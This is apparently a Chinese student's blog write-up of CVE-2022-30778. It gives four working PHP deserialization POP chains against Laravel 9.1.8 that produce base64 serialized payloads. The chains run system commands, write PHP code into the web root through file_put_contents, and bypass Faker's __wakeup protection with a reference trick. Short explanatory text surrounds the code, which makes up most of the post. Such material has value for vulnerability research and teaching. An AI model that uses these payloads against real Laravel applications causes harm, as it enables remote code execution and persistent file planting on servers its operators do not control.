ysoseri.us

技术内容 / 本科的一些学习笔记和wp / Laravel 9.18反序列化poc

Laravel 9.18反序列化poc

打包好的漏洞环境

📎laravel9.zip

POP Chain 1

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php.

图片 1

漏洞分析

根据漏洞信息的描述, 跟进src/Illuminate/Broadcasting/PendingBroadcast.php中的__destruct方法, 可以看到这里的$this->events和$this->event均为可控的, 寻找可用的dispatch方法.

跟进src/Illuminate/Bus/Dispatcher.php中的dispatch方法, 这里的$command和$this->queueResolver均是可控的.

跟进dispatchToQueue方法, $command和$this->queueResolver均是可控的, 不难看出可以利用该方法中的call_user_func方法来进行命令执行的利用.

图片 2

现在需要解决的就是命令执行的语句, 注意到上图中的代码$connection = $command->connection ?? null;, 这里可以通过src/Illuminate/Broadcasting/BroadcastEvent.php中的类中变量来控制$connection, 从而达到命令执行的目的.

<?php

namespace Illuminate\Contracts\Queue{

    interface ShouldQueue {}
}

namespace Illuminate\Bus{

    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }

    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct() {
            $this->event = new BroadcastEvent();
            $this->event->connection = "calc";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}

namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

POP Chain2

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttp\Cookie\FileCookieJar.php.

图片 3

漏洞分析

根据漏洞信息的描述, 跟进src/Cookie/FileCookieJar.php中的__destruct方法, 可以看到这里会调用$this->save方法, 在save方法中, 存在file_put_contents方法来进行文件写入.

接着跟进src/Cookie/CookieJar.php中的shouldPersist方法, 看看写入的内容该如何构造.

寻找相应可用的getExpires方法和getDiscard方法, 跟进src/Cookie/SetCookie.php, $data可控, 写入文件内容可控.

<?php

namespace GuzzleHttp\Cookie{

    class SetCookie {
        private static $defaults = [
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        ];
        function __construct()
        {
            $this->data['Expires'] = '<?php phpinfo();?>';
            $this->data['Discard'] = 0;
        }
    }

    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct() {
            $this->cookies[] = new SetCookie();
        }
    }

    class FileCookieJar extends CookieJar {
        private $filename;
        private $storeSessionCookies;
        function __construct() {
            parent::__construct();
            $this->filename = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
            $this->storeSessionCookies = true;
        }
    }
}

namespace{
    $pop = new \GuzzleHttp\Cookie\FileCookieJar();
    echo base64_encode(serialize($pop));
}

POP Chain3

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Broadcasting\PendingBroadcast.php .(2) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/

漏洞分析

根据漏洞信息的描述, 该条链子主要是ByPass了src/Faker/Generator.php中的__wakeup方法.

这里先来看看inhann师傅提到了绕过思路, 在src/Faker/Generator.php中对之前的反序列化问题的修复方法是添加了一个__wakeup方法来将$this->formatters的值始终为null array

图片 4

来看看如下的demo:

<?php
class Vuln {
    public $demo1;
    public $demo2;

    public function __destruct() {
        $this->demo1 = "h3rmesk1t";

        var_dump($this->demo2);
    }

    public function __wakeup() {
        $this->demo2 = 'd1no';
    }
}

$ser = 'O:4:"Vuln":2:{s:5:"demo1";N;s:5:"demo2";R:2;}';
$unser = unserialize($ser);
var_dump($unser->demo2);
?>

图片 5

可以看到序列化数据s:5:"demo2";R

;使得$this->demo2和$this->demo1指向的是同一个值, 即$this->demo2修改了, $this->demo1也相应地被修改了.

因此, 根据上面demo中的思路, 只需要找到一个对象$demo的一个属性$arg和src/Faker/Generator.php中的$this->formatters指向的是同一个值, 当src/Faker/Generator.php的__wakeup方法结束后, 在构造的反序列化链的__destruct方法运行之前, 对$demo进行赋值, 此时$this->formatters将不再为null array, 需要注意的是, 这里$demo的赋值需要是完全可控的.

针对上文提到的绕过思路, 需要寻找一些合适的__wakeup方法或者__destruct方法, 且最好存在如下类似的代码:

$this->demo1 = $this->demo2;

$this->demo1[$this->demo2] = $this->demo3;

例如Symfony\Component\Mime\Part\SMimePart.php中的__wakeup方法, 其$headers属性继承自其父类 AbstractPart, __wakeup方法当中使用反射给$headers赋值.

图片 6

amespace Symfony\Component\Mime\Part;
use Symfony\Component\Mime\Header\Headers;
class SMimePart extends AbstractPart {

    public function __wakeup(): void {
        $r = new \ReflectionProperty(AbstractPart::class, 'headers');
        $r->setAccessible(true);
        $r->setValue($this, $this->_headers);
        unset($this->_headers);
    }
}

namespace Symfony\Component\Mime\Header;
class UnstructuredHeader extends AbstractHeader {

    private $value;
    public function setValue(string $value) {
        $this->value = $value;
    }
}

根据该绕过思路即可对src/Faker/Generator.php中的__wakeup方法进行绕过.

<?php

namespace Faker {
    class Generator {
        protected $providers = [];
        protected $formatters = [];
        function __construct() {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }
    }
}

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        public function __construct() {
            $this->event = "calc";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part {
    abstract class AbstractPart {
        private $headers = null;
    }

    class SMimePart extends AbstractPart {
        protected $_headers;
        public $h3rmesk1t;
        function __construct() {
            $this->_headers = ["dispatch"=>"system"];
            $this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}

namespace {
    $pop = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

POP Chain4

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Routing\PendingResourceRegistration.php .(2) register in Illuminate\Routing\PendingResourceRegistration.php.(3) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/

漏洞分析

根据漏洞信息的描述, 该条链子依旧是ByPass了src/Faker/Generator.php中的__wakeup方法. 漏洞分析逻辑如上文所述.

<?php

namespace Faker {
    class Generator {
        protected $providers = [];
        protected $formatters = [];
        function __construct() {
            $this->formatter = "register";
            $this->formatters = 9999;
        }

    }
}

namespace Illuminate\Routing {
    class PendingResourceRegistration {
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options = [];
        protected $registered = false;
        function __construct() {
            $this->registrar = new \Faker\Generator();
            $this->name = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
            $this->controller = "<?php phpinfo();system('calc');?>";
            $this->options = 8;
        }

    }
}

namespace Symfony\Component\Mime\Part {
    abstract class AbstractPart {
        private $headers = null;
    }
    class SMimePart extends AbstractPart {
        protected $_headers;
        public $h3rmesk1t;
        function __construct() {
            $this->_headers = ["register"=>"file_put_contents"];
            $this->h3rmesk1t = new \Illuminate\Routing\PendingResourceRegistration();
        }
    }
}

namespace {
    $pop = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

参考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

https://inhann.top/2022/05/17/bypass_wakeup/

https://www.phpinternalsbook.com/php5/classes_objects/serialization.html